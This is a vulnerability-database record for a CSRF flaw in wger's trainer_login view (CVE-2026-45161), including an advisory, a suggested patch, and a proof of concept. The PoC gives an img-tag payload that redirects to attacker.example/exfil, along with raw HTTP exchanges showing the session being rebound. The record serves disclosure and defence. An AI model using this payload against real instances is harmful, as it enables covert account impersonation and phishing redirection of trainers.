{"schema":"threatline.record/2","record":{"id":"CVE-2026-45161","aliases":["GHSA-xf64-4pmc-h8qf","PYSEC-2026-4317"],"summary":"wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding","details":"### Summary\n\nThe `trainer_login` view in wger accepts GET requests and executes `django_login()` without any CSRF protection, because Django's `CsrfViewMiddleware` only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single `<img>` tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.\n\n### Details\n\n**File**: `wger/core/views/user.py`, approximately lines 161-210\n\n```python\n# VULNERABLE - no @require_POST, no request.method == 'POST' guard\n# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to\n# unsafe HTTP methods (POST, PUT, PATCH, DELETE)\ndef trainer_login(request, user_pk):\n    ...\n    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')\n    return HttpResponseRedirect(...)\n```\n\nBecause the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place `<img src=\"https://wger.target/en/user/2/trainer-login\">` on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes `django_login()` and issues a new session cookie binding the trainer to the victim user.\n\nPlaywright-verified in Chromium 147: the SameSite bypass occurs via a `?next=` redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's `302 -> /user/login?next=...` redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.\n\n**Affected endpoint**:\n- `GET /en/user/<user_pk>/trainer-login` -> `wger.core.views.user.trainer_login`\n\n**Suggested patch**:\n\n```diff\n--- a/wger/core/views/user.py\n+++ b/wger/core/views/user.py\n+from django.views.decorators.http import require_POST\n+\n @login_required()\n+@require_POST\n def trainer_login(request, user_pk):\n     ...\n-    # Move ?next= handling to POST body - never use GET params for\n-    # security-sensitive redirects\n+    next_url = request.POST.get('next', reverse('core:index'))\n+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):\n+        next_url = reverse('core:index')\n     return HttpResponseRedirect(next_url)\n```\n\nRequiring POST ensures Django's CSRF middleware validates the `csrfmiddlewaretoken` on every impersonation request, eliminating the CSRF vector. Moving `next` to the POST body also removes the open-redirect surface (submitted separately).\n\n### PoC\n\nTested on `wger/server:latest` Docker image + Playwright/Chromium 147. Victim: `trainer1` (`gym.gym_trainer` permission).\n\nStep 1 - Attacker hosts malicious page:\n\n```html\n<!-- evil.html -->\n<img src=\"http://target/en/user/2/trainer-login?next=//attacker.example/exfil\"\n     width=\"1\" height=\"1\">\n```\n\nStep 2 - Authenticated trainer loads evil.html. Browser auto-issues:\n\n```\nGET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n(no CSRF token required)\n```\n\nStep 3 - Server responds:\n\n```\nHTTP/1.1 302 Found\nLocation: //attacker.example/exfil\nSet-Cookie: sessionid=[alice_session]   <- session rebound to alice\n```\n\nStep 4 - Confirm impersonation:\n\n```\nGET /api/v2/userprofile/ HTTP/1.1\nCookie: sessionid=[alice_session]\n\n-> 200 OK: {\"username\":\"alice\",...}\n```\n\nReproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own `?next=` redirect chain.\n\n### Impact\n\nAn attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the `?next=` parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.\n\nThis CSRF primitive is the delivery vector that unlocks the `trainer_login` scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.\n\n**Affected deployments**: every wger instance where `gym.gym_trainer` is delegated to non-admin users.\n\n**Severity**: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).","categories":["Libraries & packages"],"product":"wger","vendor":"wger-project","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-xf64-4pmc-h8qf","source_modified_at":"2026-10-07T13:45:36Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"wger"},"range":"<= 2.1"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-45161","source_modified_at":"2026-10-07T17:04:45.845Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"wger","vendor":"wger-project","versions":[{"version":"< 2.6","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-xf64-4pmc-h8qf","source_modified_at":"2026-10-15T14:55:46.505518952Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"wger","ecosystem":"PyPI","purl":"pkg:pypi/wger"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.1"}]}],"versions":["1.1","1.1.1","1.2","1.2rc1","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","1.9","2.0","2.1"]}],"fixed_versions":[],"cvss":5.4,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00088,"percentile":0.00354,"score_date":"2026-10-23"},"published_at":"2026-10-07T13:35:53.363Z","modified_at":"2026-10-15T14:55:46.505518952Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-xf64-4pmc-h8qf","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-07T13:45:36Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-45161","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-07T17:04:45.845Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-xf64-4pmc-h8qf","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-15T14:55:46.505518952Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-45161","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/wger-project/wger/security/advisories/GHSA-xf64-4pmc-h8qf","tags":["x_refsource_CONFIRM"]},{"source":"CVE List","url":"https://github.com/wger-project/wger/releases/tag/2.6","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-xf64-4pmc-h8qf","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-07T15:27:05.291626Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-15T14:55:46.505518952Z","content_hash":"00efaf7a6ae1f738ea2784c63efe5ed7f5899a8b06d525ed0541a348907c27f4"}}